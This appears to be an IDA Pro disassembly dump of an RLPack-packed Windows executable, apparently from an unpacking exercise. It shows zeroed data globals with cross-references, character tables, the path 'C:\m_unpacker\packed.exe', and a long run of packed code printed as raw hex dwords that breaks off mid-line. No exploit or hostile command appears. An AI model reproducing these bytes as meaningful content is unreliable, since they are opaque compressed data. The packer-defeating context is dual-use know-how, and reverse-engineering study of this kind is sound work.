sub_414C2E+409w dword_4CEE24 dd 0 ; DATA XREF: sub_414C2E+369w align 10h dword_4CEE30 dd 0 ; DATA XREF: sub_414C2E+39Fw ; sub_414C2E+417o dword_4CEE34 dd 0 ; DATA XREF: sub_414C2E+33Bw byte_4CEE38 db 0 ; DATA XREF: sub_414C2E+341w byte_4CEE39 db 0 ; DATA XREF: sub_414C2E+347w word_4CEE3A dw 0 ; DATA XREF: sub_414C2E+354w dword_4CEE3C dd 7 dup(0) ; DATA XREF: sub_414C2E+3EDo dword_4CEE58 dd 0 ; DATA XREF: sub_414C2E+30w ; sub_414C2E+43Br dword_4CEE5C dd 100h dup(0) ; DATA XREF: sub_414C2E+1C3o ; sub_414C2E+47Eo dword_4CF25C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D325C dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D3260 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D3268 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D32A0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D34A0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D3CA0 dd 12Ch dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .packed:off_437EF8o dd 0D3h dup(0) dword_4D44A0 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D44A4 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D44A8 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D44AC dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D44B0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D46B0 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D46B8 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D46BC dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D46C0 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D46C4 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D46C8 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D46CC dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D46D4 dd 0 ; DATA XREF: sub_4178BA+1Cr ; sub_417A5F+3Ar dd 7Fh dup(0) dword_4D48D4 dd 0 ; DATA XREF: sub_4178BA+28r ; sub_417A5F+4Aw dd 1944h dup(0) dword_4DADE8 dd 0 ; DATA XREF: sub_417A5F+23o dword_4DADEC dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o ; sub_417788+3Co ... dword_4DAFF0 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo ; sub_4187DD+131o ... dword_4DB04C dd 80h dup(0) ; DATA XREF: sub_419593+7Co ; sub_419593+A5o dword_4DB24C dd 0 ; DATA XREF: sub_418B58+45w ; sub_418B58+4Dr ... dword_4DB250 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o ; sub_41945F+12Do dword_4DB2AC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co ; sub_418A98+7Eo ... byte_4DB4AC db 0 ; DATA XREF: sub_418B58+29r ; sub_418B58+34w align 10h dword_4DB4B0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o ; sub_418DAF+89o ... dword_4DB6B0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o ; sub_4186C1+5Bo dword_4DB8B4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r ; sub_419B0F+54r ... dword_4DB8B8 dd 0 ; DATA XREF: sub_419A20r ; sub_419B0F+37r ... dword_4DB8BC dd 0 ; DATA XREF: sub_419A50+1Ar ; sub_419C64+83o dword_4DB8C0 dd 0 ; DATA XREF: sub_419A20:loc_419A34r ; sub_419C64+11Bw dword_4DB8C4 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o ; sub_419C64:loc_419DA1o dword_4DB8F8 dd 0 ; DATA XREF: sub_419B0F+CDr ; sub_419B0F+ECr ... align 10h dword_4DB900 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o dword_4DB938 dd 0 ; DATA XREF: sub_41BBBD+1B9w ; sub_41D1EC:loc_41D268w ... dword_4DB93C dd 0 ; DATA XREF: sub_41D3BE+35w ; sub_41DA72:loc_41DB0Cw ... dword_4DB940 dd 0 ; DATA XREF: sub_423A33+13Ar dword_4DB944 dd 0A28h ; DATA XREF: sub_41D933+52w dword_4DB948 dd 501h ; DATA XREF: sub_41D933+49w dword_4DB94C dd 5 ; DATA XREF: sub_41D933+3Ew dword_4DB950 dd 1 ; DATA XREF: sub_41D933+30w dword_4DB954 dd 1 ; DATA XREF: sub_401221:loc_401516r ; sub_422F83+91w dword_4DB958 dd 950B20h ; DATA XREF: sub_401221+2FEr ; sub_401221+31Er ... align 10h dword_4DB960 dd 950B48h ; DATA XREF: sub_422ECA+44w ; sub_425AC7+9r ... dword_4DB964 dd 0 ; DATA XREF: sub_4261AB+36r dword_4DB968 dd 0 ; DATA XREF: sub_425AC7+16r ; sub_425E95+4r ... align 10h off_4DB970 dd offset aCM_unpackerPac ; DATA XREF: sub_422F83+2Ew ; "C:\\m_unpacker\\packed.exe" align 8 byte_4DB978 db 0 ; DATA XREF: sub_41B7D3+2Dw ; sub_4239DB+5r align 4 dword_4DB97C dd 0 ; DATA XREF: sub_41B7D3+27w dword_4DB980 dd 0 ; DATA XREF: sub_41B7D3+4r ; sub_41B7D3+8Bw dword_4DB984 dd 0 ; DATA XREF: sub_41C0F4+3Br ; sub_41C0F4+91w dd 0 dword_4DB98C dd 0 ; DATA XREF: sub_41C748+Aw dword_4DB990 dd 0 ; DATA XREF: sub_41D081+5Er ; sub_41D081+A4w align 8 word_4DB998 dw 0 ; DATA XREF: sub_41D081+55r ; sub_41D081+9Ao word_4DB99A dw 0 ; DATA XREF: sub_41D081+48r db 2 dup(0) word_4DB99E dw 0 ; DATA XREF: sub_41D081+3Br word_4DB9A0 dw 0 ; DATA XREF: sub_41D081+2Er word_4DB9A2 dw 0 ; DATA XREF: sub_41D081+21r align 8 dword_4DB9A8 dd 0 ; DATA XREF: sub_41D933+84w ; sub_422ECA:loc_422EDCr ... align 10h dword_4DB9B0 dd 0 ; DATA XREF: sub_41DA29r sub_41DA4Er ... dword_4DB9B4 dd 0 ; DATA XREF: sub_41EB10+4Bw ; sub_41EC29+2Dw ... dword_4DB9B8 dd 0 ; DATA XREF: sub_41F312r dword_4DB9BC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er ; sub_41B202:loc_41B43Fr ... dword_4DB9C0 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r ; sub_420042+4w ... dword_4DB9C4 dd 0 ; DATA XREF: sub_420446+37r dd 0 dword_4DB9CC dd 0 ; DATA XREF: sub_4219D9+11r ; sub_421ADD+1Ar ... byte_4DB9D0 db 0 ; DATA XREF: sub_4219D9+3r ; sub_4219D9+98r ... align 4 dword_4DB9D4 dd 0 ; DATA XREF: sub_421ADD+11r ; sub_421BBB+21w ... byte_4DB9D8 db 0 ; DATA XREF: sub_421BBB+51w align 4 dword_4DB9DC dd 0 ; DATA XREF: sub_421DB1+4Er ; sub_42218C+3Ar ... dword_4DB9E0 dd 0 ; DATA XREF: sub_421DB1+5Cr ; sub_42218C+43r ... dword_4DB9E4 dd 0 ; DATA XREF: sub_41C9CE+7Ar ; sub_421F58+5r dword_4DB9E8 dd 0 ; DATA XREF: sub_42255C+29r dword_4DB9EC dd 2 dup(0) ; DATA XREF: sub_41D160+Co dword_4DB9F4 dd 0 ; DATA XREF: sub_41D5AA+4r ; sub_41D5AA+6Er ... dd 3 dup(0) dword_4DBA04 dd 0 ; DATA XREF: sub_41D834+61r ; sub_41D834+BFr ... dd 0 dword_4DBA0C dd 1 ; DATA XREF: sub_422ACA+28r ; sub_422ACA+4Cw ... dword_4DBA10 dd 0 ; DATA XREF: sub_422CEE+3Ar ; sub_422CEE+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_422F83:loc_422F9Ao ; .packed:off_4DB970o align 10h dd 3Ah dup(0) dword_4DBB18 dd 1 ; DATA XREF: sub_4231D0+2r ; sub_4231D0+23w ... dword_4DBB1C dd 0 ; DATA XREF: sub_423590+21r dword_4DBB20 dd 0 ; DATA XREF: sub_41F32D+154w ; sub_420446:loc_42046Fw ... dword_4DBB24 dd 0 ; DATA XREF: sub_41F32D+7r dword_4DBB28 dd 1 ; DATA XREF: sub_423CEC+26r ; sub_423CEC:loc_423D56w align 10h word_4DBB30 dw 0 ; DATA XREF: sub_4245E9+1Ao ; sub_4245E9+46r byte_4DBB32 db 0 ; DATA XREF: sub_4245E9+39r align 4 dword_4DBB34 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o dword_4DBB50 dd 0 ; DATA XREF: sub_4245E9+40w ; sub_4245E9+5Co dword_4DBB54 dd 0 ; DATA XREF: sub_4245E9+4Dw dword_4DBB58 dd 0 ; DATA XREF: sub_4245E9+31w dword_4DBB5C dd 0 ; DATA XREF: sub_4245E9+52w dword_4DBB60 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr ; sub_42470C+38r ... align 8 dword_4DBB68 dd 0 ; DATA XREF: sub_4247EC+11w ; sub_4247EC+63w ... align 10h dword_4DBB70 dd 0 ; DATA XREF: sub_4247EC+33o ; sub_4247EC+46r dword_4DBB74 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o word_4DBBB4 dw 0 ; DATA XREF: sub_424A4A+A8r word_4DBBB6 dw 0 ; DATA XREF: sub_4247EC+54r ; sub_424A4A+DBr ... word_4DBBB8 dw 0 ; DATA XREF: sub_424A4A+CAr word_4DBBBA dw 0 ; DATA XREF: sub_424A4A+D3r ; sub_424A4A:loc_424B3Cr word_4DBBBC dw 0 ; DATA XREF: sub_424A4A+C0r word_4DBBBE dw 0 ; DATA XREF: sub_424A4A+B8r word_4DBBC0 dw 0 ; DATA XREF: sub_424A4A+B0r word_4DBBC2 dw 0 ; DATA XREF: sub_424A4A+9Er dword_4DBBC4 dd 0 ; DATA XREF: sub_4247EC+4Br dword_4DBBC8 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo word_4DBC08 dw 0 ; DATA XREF: sub_424A4A+46r word_4DBC0A dw 0 ; DATA XREF: sub_4247EC:loc_424863r ; sub_424A4A+78r ... word_4DBC0C dw 0 ; DATA XREF: sub_424A4A+67r word_4DBC0E dw 0 ; DATA XREF: sub_424A4A+70r ; sub_424A4A:loc_424ACEr word_4DBC10 dw 0 ; DATA XREF: sub_424A4A+5Dr word_4DBC12 dw 0 ; DATA XREF: sub_424A4A+55r word_4DBC14 dw 0 ; DATA XREF: sub_424A4A+4Dr word_4DBC16 dw 0 ; DATA XREF: sub_424A4A+3Er dword_4DBC18 dd 0 ; DATA XREF: sub_4247EC+80r dword_4DBC1C dd 0 ; DATA XREF: sub_4247EC+132r ; sub_4247EC:loc_424938r ... dword_4DBC20 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew dword_4DBC24 dd 0 ; DATA XREF: sub_424D78+3r ; sub_424D78+2Ew ... dword_4DBC28 dd 0 ; DATA XREF: sub_424D78+43w ; sub_424D78:loc_424DC7r dword_4DBC2C dd 0 ; DATA XREF: sub_424D78+4Aw ; sub_424D78+60r dword_4DBC30 dd 0 ; DATA XREF: sub_423A33+3Fr dword_4DBC34 dd 0 ; DATA XREF: sub_425955:loc_4259BCr ; sub_425955+6Do dword_4DBC38 dd 0 ; DATA XREF: sub_425955:loc_425993r ; sub_425955+44o dword_4DBC3C dd 0 ; DATA XREF: sub_425955:loc_425986r ; sub_425955+37o dword_4DBC40 dd 0 ; DATA XREF: sub_425955:loc_4259A0r ; sub_425955+51o align 8 dword_4DBC48 dd 0 ; DATA XREF: sub_425F03+28r ; sub_425F03+48w ... dword_4DBC4C dd 0 ; DATA XREF: sub_426988+28r ; sub_426988+4Cw ... dword_4DBC50 dd 0 ; DATA XREF: sub_426C13+26r ; sub_426C13:loc_426C7Dw byte_4DBC54 db 1 ; DATA XREF: sub_40D878r sub_40D878+9w align 4 dword_4DBC58 dd 951110h ; DATA XREF: sub_41DBF0:loc_41DC01r ; sub_41F49D+14r ... align 10h dword_4DBC60 dd 400h dup(0) ; DATA XREF: .packed:off_43D0A8o ; .packed:0043D0B0o dword_4DCC60 dd 200h ; DATA XREF: sub_41DBF0+9r ; sub_41DBF0+56r ... dd 7 dup(0) dword_4DCC80 dd 950650h ; DATA XREF: sub_41F043+75r ; sub_41F11C+2Ar ... dword_4DCC84 dd 3Fh dup(0) ; DATA XREF: sub_423302+92o dword_4DCD80 dd 20h ; DATA XREF: sub_41DA72+8r ; sub_41F11C+Cr ... dword_4DCD84 dd 4E4h ; DATA XREF: sub_41FEA9+14r ; sub_41FEA9+65w ... align 10h dword_4DCD90 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o ; sub_41FEA9+171o ... dword_4DCD9C dd 0 ; DATA XREF: sub_41FEA9+108w ; sub_41FEA9+15Dw ... byte_4DCDA0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w ; sub_4200E8:loc_420211w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DCEA0 db 0 ; DATA XREF: sub_41FEA9+5Co ; sub_41FEA9+AFo ... byte_4DCEA1 db 0 ; DATA XREF: sub_41B9D1+5Dr ; sub_41FEA9+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DCFA4 dd 0 ; DATA XREF: sub_41FEA9+6Ew ; sub_41FEA9+12Bw ... dword_4DCFA8 dd 0 ; DATA XREF: sub_41DE2F+3Cw ; sub_41E4D4+5r ... dword_4DCFAC dd 0 ; DATA XREF: sub_41DEA2+23Ar ; sub_41DEA2+25Ar ... dword_4DCFB0 dd 0 ; DATA XREF: sub_41DE2F+31w ; sub_41DEA2+311w ... dword_4DCFB4 dd 0 ; DATA XREF: sub_41DE2F+21w ; sub_41DEA2+22Dr ... dword_4DCFB8 dd 0 ; DATA XREF: sub_41DE2F+28w ; sub_41DE77r ... dword_4DCFBC dd 0 ; DATA XREF: sub_41DE2F+15w ; sub_41DE77+8r ... dword_4DCFC0 dd 0 ; DATA XREF: sub_41B202+5Cr ; sub_41B513+Fr ... dword_4DCFC4 dd 950000h ; DATA XREF: sub_41B0B1+5Ar ; sub_41B202+C0r ... dword_4DCFC8 dd 1 ; DATA XREF: sub_41B0B1+Cr ; sub_41B202:loc_41B232r ... dword_4DCFCC dd 142340h ; DATA XREF: sub_41D933+7Aw ; sub_422E72+Fr ... dword_4DCFD0 dd 1 ; DATA XREF: sub_422ECA+ADw ; sub_425AC7r dword_4DCFD4 dd 1 ; DATA XREF: sub_42026Dr ; sub_42026D+11w ... dword_4DCFD8 dd 95075Ch ; DATA XREF: sub_41B7D3+3Er ; sub_41CFD3+13r ... dword_4DCFDC dd 950758h ; DATA XREF: sub_41B7D3+35r ; sub_41B7D3+57r ... dd 808h dup(0) _packed ends ; Section 2. (virtual address 000DF000) ; Virtual size : 0001F27B ( 127611.) ; Section size in file : 0001F27B ( 127611.) ; Offset to raw data for section: 000DF000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _RLPack segment para public 'CODE' use32 assume cs:_RLPack ;org 4DF000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing dd 0EC8B0055h, 57565351h, 903850BFh, 0F6330342h, 79124BBh dd 0FC458D0Eh, 6847FE56h, 0F0F073Fh, 77FF0218h, 37750473h dd 0B5E8150Eh, 7539004Ch, 0FB1C7408h, 0A70E0ABEh, 5906019Fh dd 6A781550h, 0E535633h, 583E10FCh, 0AEB14B6h, 57988D0Ch dd 7100913h, 8C7832Bh, 0BB68D681h, 5FA87200h, 0C3C95B5Eh dd 24441D8Bh, 541D08h, 0CE835604h, 0C00085FFh, 57532574h dd 0F5B9388Dh, 8A0201C3h, 23DE8B02h, 33D9C8C1h, 0EE60C375h dd 38850444h, 0F091A972h, 1F754FD0h, 0C15B5FE6h, 0D0F75EC6h dd 33A740C3h, 0E8EA57DBh, 0FAA41F30h, 0A02404C7h, 0EE74FF54h dd 0F08B0614h, 24A3FAE8h, 593FF8EEh, 7400F385h, 0C47F62Ah dd 61287510h, 24E85843h, 0F02D90A1h, 1428F620h, 8D0CA957h dd 0CFF1E44h, 25E81850h, 0C4832EA0h, 0D6EB1007h, 1B43C033h dd 6A511B4Bh, 8BB102FFh, 53A3E1D8h, 47F357D5h, 8B1F45B5h dd 24AE5DC3h, 8A819C1Dh, 2A9D025Ch, 35FF0622h, 0E443E57Ch dd 0D5CC152Ah, 0A185E81Ch, 0B58C1731h, 8B062004h, 7050781Dh dd 647E6A8Fh, 0CA33D332h, 0F0414010h, 32D2CA57h, 4430BEA8h dd 565EAC18h, 0B0241DC8h, 758918B0h, 46ABEFEh, 85066414h dd 3EFFDA4h, 0B845C750h, 0AE66D7E8h, 0E02BD80Eh, 7D891966h dd 0B174A2DCh, 0FEA84097h, 0FEEEBF09h, 0A47B0FA3h, 37E995DFh dd 286A2C31h, 245ACB47h, 6C88904Fh, 14524EAAh, 0F07B5082h dd 68358B1Bh, 37D6DB23h, 0D00AF416h, 80C71045h, 0E0BDB066h dd 2459A0D3h, 19A36864h, 71089B8Ch, 28E951E4h, 686C12E9h dd 40390B98h, 6B24E805h, 0A385E074h, 0D91DB370h, 88C204A4h dd 207E2A09h, 5D8919C9h, 40F406F8h, 111DFCAFh, 99E54048h dd 3C4735E0h, 8C258972h, 86A8F007h, 0B9D23306h, 0D1E03E8h dd 74A3F1F7h, 0FF20A089h, 0A5A66D37h, 1988A163h, 0EE026A2Ah dd 684424E0h, 0DF753032h, 53C649A4h, 0CC2478C7h, 0A00E5071h dd 92023D88h, 235B910Bh, 20E6209Fh, 501CF77Ch, 73640268h dd 3B40A444h, 29850FC3h, 0BD80A7A8h, 91021AA1h, 0CE50161Ah dd 0CC7DF08Ah, 6213C1Fh, 1066B88Ah, 54A584FCh, 4CFD1408h dd 0ED8C9CDFh, 0FB101651h, 0C0EC1B1h, 935312F9h, 0B208BD25h dd 0FB25A8B4h, 680A1F5Ah, 3E329A98h, 3448FA28h, 374640E8h dd 4C37CA63h, 0A550AD26h, 8C901C36h, 50B88681h, 8C1D3981h dd 8BEE1A8h, 742656B2h, 0FF12BF31h, 419C080Dh, 933004D9h dd 0C364F623h, 991A6A57h, 56F9F7D8h, 61C28005h, 25029788h dd 984CE847h, 29F83B21h, 4CBFDD72h, 0FE411810h, 0F9B1F121h dd 8A4D1C4h, 8914A410h, 831198C4h, 120A60F8h, 806826A6h dd 9444DBECh, 90348F54h, 5318220Dh, 9433A3B9h, 349FD669h dd 0B9861075h, 0FB3B3D3Bh, 207C2930h, 0ADC0574h, 741F24FDh dd 24E25F14h, 7845683Ah, 0EBDC397Dh, 1274A6C7h, 506E5BE8h dd 6A850DCDh, 886C3407h, 5340E0F6h, 16A1433Ch, 56521C85h dd 2B23F919h, 0B5F98814h, 85C712A0h, 120D2869h, 9DEB40F2h dd 0E417D94Ch, 4834915Eh, 56888C64h, 10FC7759h, 13848052h dd 51780A8Dh, 780FECFFh, 4868F640h, 0CBC40684h, 0BE9E99A3h dd 776C52E8h, 53968993h, 13EC1B1Ah, 25FA522Bh, 282070D3h dd 4AE1C868h, 2CBD48DEh, 0E47127E0h, 0C4C90AA6h, 8375D853h dd 0B9543D0Eh, 7E02004Dh, 0C158A143h, 470FF11h, 55A2F9E8h dd 824F85F4h, 0A66C562Dh, 443D0FD0h, 8EA3920h, 1519743Fh dd 905B07D0h, 1C08CC35h, 4418A80h, 0E6741390h, 0B7043110h dd 360D75C2h, 82C3403Fh, 2A460DD5h, 6871BD60h, 0F665D5A6h dd 122553C9h, 9B583946h, 0C60D84A0h, 343C0218h, 30BDAA1h dd 48F0B253h, 0B9D6E83Dh, 3E2494A6h, 0B86444C8h, 1CE86239h dd 0B8229B19h, 5C3DE41Fh, 0F8C9427Ch, 0C07C1C0Dh, 70B1419Ah dd 0F669D702h, 6050CA34h, 5D86894Ah, 7513D684h, 500E621Bh dd 0C045199h, 84298B67h, 7E42840Ch, 0BD8E093Bh, 709D09E6h dd 734C5948h, 2D6C7529h, 4599D888h, 27E2C3Ah, 8E9A9B80h dd 0D682788Ah, 789501FCh, 4B45A4C5h, 783CA1EFh, 3BC18A06h dd 6AC18036h, 3E0837Fh, 4EC04968h, 587C5D75h, 34A4A32Ch dd 9F60820Ah, 66CA103h, 0BF3F6A29h, 68302DFCh, 0A35719D4h dd 0F1CA1CCh, 0BE3E2E16h, 88DC443Ch, 0FD24E856h, 8961399Eh dd 29ACD01Dh, 68FC06CAh, 1CC86778h, 0DEE889E4h, 2F81748h dd 0F00C45FCh, 19BE840Fh, 7417A839h, 4DFF3103h, 320BB84Eh dd 0FC07D638h, 6317D83h, 0C8CC57Ch, 955202F0h, 0F45D0A84h dd 219D4074h, 96E8C19Ah, 46954B9Eh, 9E7F8490h, 728B7224h dd 0E97A153Bh, 3836E973h, 0A2CD2FDCh, 99BE1967h, 444AC8C2h dd 1CF86270h, 42703346h, 4262391h, 0B4F445C7h, 2361E947h dd 9AE1E889h, 5FC0A42Dh, 5BC0335Eh, 58C2C92Ch, 9046CC2Eh dd 445F047h, 6A575608h, 8DD1D059h, 23B270BDh, 0C7A5F306h dd 82316080h, 3AC0513Eh, 711088C9h, 0AC66CD9Dh, 2FD7E904h dd 41349AACh, 0FDB931B6h, 749B20F2h, 0B81AFE42h, 0B4B5E92h dd 0B8F42428h, 1C3BF250h, 3608D481h, 1B10618Bh, 39A035FFh dd 9C6C76A8h, 661C2E0Dh, 0FAF8F798h, 0C069CC13h, 1B6A0720h dd 6884D05h, 661E0A4Bh, 6A28876Bh, 0D2122F06h, 9B28B420h dd 10402821h, 0D27CB089h, 0D206D453h, 0D3ABDC78h, 1C75F223h dd 2A8EE6E4h, 7F99875Ah, 0A83AE9E2h, 68E2A3FFh, 0E8CB68A0h dd 1392A37h, 14C853C1h, 0C8B00F6Fh, 0B593BF34h, 94458970h dd 501CF41Ch, 1D9C404Bh, 0A7102845h, 0F485CE5Eh, 37E933DCh dd 7501F883h, 0BB9EC707h, 98EB030Dh, 74021803h, 4ED3E909h dd 0C450C2Dh, 0E824CCB4h, 59946DC7h, 6B5824BBh, 4426828h dd 1A90B80Ch, 0BE4CE824h, 3C414ECBh, 36ADB33h, 0C8623A38h dd 5900FD40h, 94051888h, 754984A5h, 0E0F482F6h, 4AB06264h dd 2EA233EFh, 841969Ah, 3DAA95E8h, 2416D678h, 0C835C4DFh dd 9642E34Fh, 0ED28102Ch, 336C2135h, 9EC412A3h, 3467A5D9h dd 50960E16h, 0D5D3262Ch, 0B649C2A0h, 1B7E2D4Ch, 82D11CD1h dd 45138868h, 9EBE202Ah, 5BE4794h, 706BC810h, 0B274E541h dd 809B5979h, 0BE4111D0h, 8A4C4808h, 0CD7EEB83h, 0B9F52D34h dd 34581D26h, 0C4E3653Ch, 340389CFh, 0B54C7E4Eh, 711F414Fh dd 246A96D6h, 0BC92FB52h, 82744CC0h, 209319FBh, 4006BD56h dd 57A00C10h, 4948E837h, 482CC46Fh, 0F33BEF80h, 0C60D487Eh dd 83BDEBF0h, 74FDFE0Dh, 0AADB0A25h, 94850A1Ch, 4393FA4Fh dd 8B04C77Dh, 0E03B0C30h, 5CE9997Ch, 0EBC4EC43h, 0C6799702h dd 78A41932h, 215D8822h, 0D820A046h, 7D570241h, 8A3CFC9Ch dd 86C7DB07h, 3684D54h, 0F01CADE7h, 1B5C9DCDh, 0FC8CD138h dd 43D33818h, 989AA008h, 0FCC85C1Bh, 187535C5h, 23CEDF0Dh dd 0E14CBD28h, 6C800828h, 78957166h, 0E819BB42h, 484E3554h dd 0CAAB560Eh, 84A32222h, 5CA69810h, 0A284C7D0h, 4317159Dh dd 0A0484A24h, 7BE88CB5h, 0F468BE51h, 324C1145h, 216D4FE8h dd 21893434h, 41EDA853h, 2822744Eh, 541F2558h, 0E81891A9h dd 789414Dh, 0A0F95955h, 75F4173Ch, 0B58BEA14h, 232512Ch dd 0E3A2D096h, 348C9D39h, 6889C418h, 0AF879C2h, 62A6F6A0h dd 0CB4C99AEh, 6AEC4D04h, 0DEE05A1Fh, 0AC20FF8Bh, 80260374h dd 29752D38h, 200258A1h, 0BE000FA3h, 19890170h, 0A33584C6h dd 5624D530h, 58279F87h dd 206BCh, 4E9834Ah, 0CC7DD33Bh, 139D3816h, 63745882h dd 21F8DBC1h, 6120E16h, 0FCE03527h, 0F60A3E80h, 0DCABB835h dd 0C8F214DAh, 0F5DBA1CDh, 17C16046h, 0FF3CECA8h, 258F6884h dd 0F068420Ch, 824F1446h, 5620BD21h, 0FC1FD6FFh, 96A37EF0h dd 8440654Bh, 0C6C22386h, 64F7A2Ch, 0C8CD010h, 0A7B97D78h dd 2BE2815h, 850F1839h, 4C0B4ABFh, 0CC68293Ah, 4D6E9121h dd 0A4E91914h, 40568B37h, 23C842AEh, 2011A899h, 2AC87CFFh dd 0B2904FC4h, 22D41BEAh, 2775386Fh, 56BC6828h, 8D7CB530h dd 9B9BE9E8h, 4D7401D4h, 689F6840h, 4C29944Eh, 3298206Ah dd 0B87039EBh, 170A3711h, 0E1695332h, 29E83324h, 0B1969339h dd 5CAC6817h, 7C42C5A9h, 0C78B0978h, 7B4A26E9h, 0DEA90362h dd 72BF8739h, 59415609h, 0A2E0147Bh, 440ACC57h, 44F48B5Ch dd 0F598F703h, 0E4D95275h, 884FA488h, 0D78EEEA2h, 45855414h dd 3851052Ch, 83E10D1Eh, 12974F11h, 8529980Ah, 26668516h dd 112F6774h, 5F56787Ch, 8AAC52EFh, 47C57D63h, 1E881220h dd 937B350h, 0BB188468h, 16BB9A59h, 0E2A514A0h, 0E474680Ah dd 437BE1E3h, 2E7C1BE8h, 68953355h, 2C4D8ABAh, 5FA82FA0h dd 421F4A6Ah, 669AA1FDh, 251490C9h, 89D151DFh, 0C4D32218h dd 82347B9Bh, 98E658A9h, 96CEC81h, 3C0AA1E5h, 5031C541h dd 50F297A2h, 8408F340h, 2C486498h, 0B19EB242h, 13483A5Fh dd 8F21506Ah, 0A3A05CCAh, 237424A0h, 7E5ACCD8h, 6C63202h dd 0AAA24740h, 185A9FAFh, 0A557243Ch, 0A2F646B6h, 4D72B08Fh dd 0AC752B08h, 0D9835E2h, 60116D50h, 64812C02h, 324AC559h dd 66D312Bh, 0B10F6A15h, 9E24DF84h, 44692596h, 7D8B0082h dd 38F63320h, 1357741Fh, 14CC6E9Eh, 1174C031h, 0A2C78146h dd 3D8C06Bh, 0E9DD117Ch, 88AF430Dh, 74C95A1Bh, 856738F2h dd 0A7209038h, 0F4F88B2Ch, 315CE2Eh, 920B1FF7h, 870E067Eh dd 7BB23BD5h, 7E6C119h, 1120033Bh, 0D0642768h, 98B00CA2h dd 140B8AD1h, 0E6466ABAh, 88E8186Bh, 24C4DB7Ah, 67A2E935h dd 425C5608h, 8D94A073h, 445422C8h, 0DC47462h, 5C12BA28h dd 0B1D211FFh, 542C1815h, 0DE96B9A7h, 5068B561h, 3A253D42h dd 8C8FA485h, 0E88980AAh, 952B1CAh, 0E1C7EA24h, 681A90F6h dd 0A431A030h, 0E9898B31h, 3A915611h, 88C42054h, 59061C24h dd 0C7739E9h, 9726E20Ch, 0FC585901h, 751A8230h, 23B0C319h dd 491825B6h, 43A1C96Dh, 888B9227h, 9C9B4048h, 27A5E90Dh dd 48BE3408h, 7BCC1F04h, 0BF17596Bh, 11D4CFFCh, 1C38D10Ah dd 6408E348h, 3126E59Fh, 11CFF862h, 0D74A9F4Eh, 0D2772816h dd 0A3D18811h, 3B181C1Ah, 2C9E2B88h, 70840F22h, 9C991635h dd 5A165C16h, 7C91B399h, 80450473h, 0CD89046Ah, 22F478BEh dd 2F68054h, 3584258Bh, 54BCF611h, 0F0B40D07h, 5FA45EDh dd 619ED53Bh, 8A03B279h, 9435B4AFh, 0BA22E864h, 285E1BB9h dd 645C88FCh, 34F5A2Bh, 50E4BF5Eh, 0EF800D4Fh, 0E80BD83Dh dd 